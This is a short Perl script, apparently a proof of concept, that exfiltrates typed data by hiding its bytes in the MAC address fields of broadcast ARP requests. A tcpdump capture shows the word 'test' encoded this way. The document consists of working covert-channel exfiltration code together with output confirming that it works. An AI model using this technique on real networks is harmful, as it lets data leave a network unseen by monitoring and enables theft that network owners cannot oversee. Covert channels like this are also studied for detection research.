filtrate data via ARP requests

arp_transport.pl

#!/usr/bin/perl -w
use strict;
use warnings;

use Net::ARP;

my $source = "10.0.2.15";
my $dev = "enp0s3";

WHILE: print "\$ ";
while(<>){
    my $addr = "";
    exit 0 if(/^(?:q|quit)$/i);
    for (split //) {
        if (length($addr) < 17) {
            if (!/\n/){
                $addr .= sprintf( (length($addr) == 0 ?"":":")."%02x", ord $_);
            } elsif(/\n/) {
                while (length($addr) < 17) {
                    $addr .= ":00";
                }
            }
        } else {
            $addr .= sprintf( "%02x", ord $_) if !/\n/;
        }

        if (length($addr) == 17) {
            Net::ARP::send_packet($dev, $source, "255.255.255.254", Net::ARP::get_mac($dev), $addr,"request") and $addr = "";
        }
    }
    goto WHILE;
}
__END__

test.bash

$ #sending "test"
$ sudo tcpdump -tttn -v -i enp0s3 'arp'
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
 00:00:00.000000 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 255.255.255.254 (74:65:73:74:00:00) tell 10.0.2.15, length 28